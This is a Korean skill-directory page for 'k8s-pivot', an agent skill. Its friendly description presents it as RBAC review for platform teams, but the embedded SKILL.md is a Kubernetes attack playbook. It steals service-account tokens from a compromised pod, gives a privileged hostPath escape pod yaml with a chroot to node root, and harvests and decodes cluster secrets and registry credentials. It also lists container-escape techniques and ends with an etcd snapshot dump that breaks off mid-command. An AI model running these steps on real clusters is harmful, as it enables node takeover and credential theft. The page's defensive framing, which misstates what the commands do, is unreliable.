k8s-pivot
하는 일
이 스킬은 Kubernetes 클러스터 안의 권한이 컨테이너를 더 많은 리소스에 닿게 할 수 있는 방식을 다룹니다. 클러스터 역할 설정을 검토하는 플랫폼 팀을 위한 스킬입니다.
사용하는 경우
- ✓허가된 테스트가 파드 하나에 접근할 수 있고, 클러스터가 무엇을 허용하는지 봐야 할 때.
- ✓역할 바인딩과 특권 파드를 검토하고 싶을 때.
- ✓팀이 어떤 호스트 마운트나 대시보드가 위험을 더하는지 알아야 하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리 Kubernetes 클러스터에서 파드의 서비스 계정이 무엇을 할 수 있는지 검토하고, 위험한 권한을 표시해 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 서비스 계정이 가진 권한을 나열하고, 클러스터 전체 권한을 확인하며, 위험도가 높은 동사와 리소스를 표시합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Kubernetes Pivot
1. Identify the cluster you're in
Inside a compromised pod:
# Service account token (default mount)
cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/sa.tok
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt > /tmp/ca.crt
# API server address
echo $KUBERNETES_SERVICE_HOST $KUBERNETES_SERVICE_PORT_HTTPS
# Or: env | grep KUBE
2. Inventory permissions
KUBECTL="kubectl --token=$(cat /tmp/sa.tok) --certificate-authority=/tmp/ca.crt \
--server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT_HTTPS"
# What can I do in my own namespace?
$KUBECTL auth can-i --list --namespace=$(cat .../namespace) > /tmp/can_ns.txt
# Cluster-wide?
$KUBECTL auth can-i --list > /tmp/can_cluster.txt
# Specifically check the high-value verbs
for verb in get list create delete patch update; do
for res in secrets pods deployments daemonsets nodes clusterroles rolebindings serviceaccounts; do
$KUBECTL auth can-i $verb $res --all-namespaces 2>/dev/null | \
grep -q yes && echo "$verb $res YES"
done
done > /tmp/verbs.txt
Decepticon ingest:
k8s_audit("/tmp/can_cluster.txt")
3. RBAC escalation primitives
| Verb + Resource | What it enables |
|---|---|
create pods |
Create a pod with mount of host root, then RCE on node |
get secrets |
Steal SA tokens, k8s API creds, dockercfg, TLS keys |
create serviceaccounts.tokens |
Mint a new SA token w/ chosen TTL |
update/patch clusterrolebindings |
Bind self to cluster-admin |
impersonate |
Act as any user / SA |
create pods/exec |
Exec into running pod → steal its token |
bind / escalate (on Role/ClusterRole) |
Grant any permission |
create persistentvolumes (cluster-wide) |
hostPath PV → read host fs |
create podsecuritypolicies (old K8s) |
Author own permissive PSP |
create validatingwebhookconfigurations |
Intercept apiserver requests |
create mutatingwebhookconfigurations |
Modify any object on admission |
update nodes/status (rare) |
Spoof node taints, evict pods |
4. Pod escape — host root via hostPath
# escape-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
spec:
hostPID: true # see all host PIDs
hostNetwork: true # bypass network policies
containers:
- name: shell
image: alpine
command: ["sh", "-c", "sleep 1d"]
securityContext:
privileged: true # CAP_*, no user-namespace remap, no AppArmor
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
$KUBECTL create -f escape-pod.yaml
$KUBECTL exec -it escape-pod -- chroot /host /bin/bash
# Now root on the underlying node
5. Secrets harvest
# All accessible secrets across namespaces
$KUBECTL get secrets --all-namespaces -o json > /tmp/secrets.json
jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) \(.type)"' /tmp/secrets.json
# Decode SA tokens
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") |
"\(.metadata.namespace)/\(.metadata.name) \(.data.token | @base64d)"' \
/tmp/secrets.json > /tmp/sa-tokens.txt
# Decode dockercfg / dockerconfigjson
jq -r '.items[] | select(.type=="kubernetes.io/dockerconfigjson") |
.data[".dockerconfigjson"] | @base64d' /tmp/secrets.json
6. Container runtime escapes (when you have privileged pod or specific caps)
| Primitive | Technique |
|---|---|
/var/run/docker.sock mounted in pod |
docker exec on host containers → host root |
/run/containerd/containerd.sock |
ctr cmd → escape |
CAP_SYS_ADMIN w/o user namespace |
Mount syscall → reread cgroups → release_agent |
CAP_SYS_PTRACE |
Inject into host PID 1 (only if hostPID:true) |
CAP_DAC_READ_SEARCH |
Open arbitrary file by inode (CVE-2022-0185 era) |
| Kernel CVEs (Dirty Pipe, etc) | Standard linux escape from any container |
7. Pivoting from the API server
With cluster-admin token:
# List all nodes
$KUBECTL get nodes -o wide
# Each node has an internal IP — once you have host root, you have
# network reach to the underlying infra (etcd, cloud metadata, etc)
# Steal etcd snapshot via cluster-admin
$KUBECTL --raw '/api/v1/namespaces/kube-system/pods' > /tmp/all-pods.json
# Find etcd pod, exec, dump
$KUBECTL exec -n kube-system etcd-master -- \
etcdctl snapshot save /tmp/etcd.db --cacert=/et
자주 묻는 질문
가장 위험한 권한은 무엇인가요?
파드 생성, 비밀 읽기, 역할 바인딩 변경 권한을 영향이 큰 것으로 꼽습니다.
특권 파드는 호스트가 침해되었다는 뜻인가요?
자동으로 그렇지는 않습니다. 스킬은 이런 설정은 맥락이며, 어드미션 컨트롤러가 그 경로를 막을 수 있다고 설명합니다.
누가 이것을 써야 하나요?
역할 기반 접근 설정을 검토하는 플랫폼 및 클러스터 관리자입니다.
상세 정보
작성자의 원본 설명
Kubernetes attack playbook — service-account token theft, RBAC abuse, pod escape, hostPath mount abuse, kube-api-server pivoting.
인기도
- GitHub 스타
- 6.5k
- 순위
- #13999
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.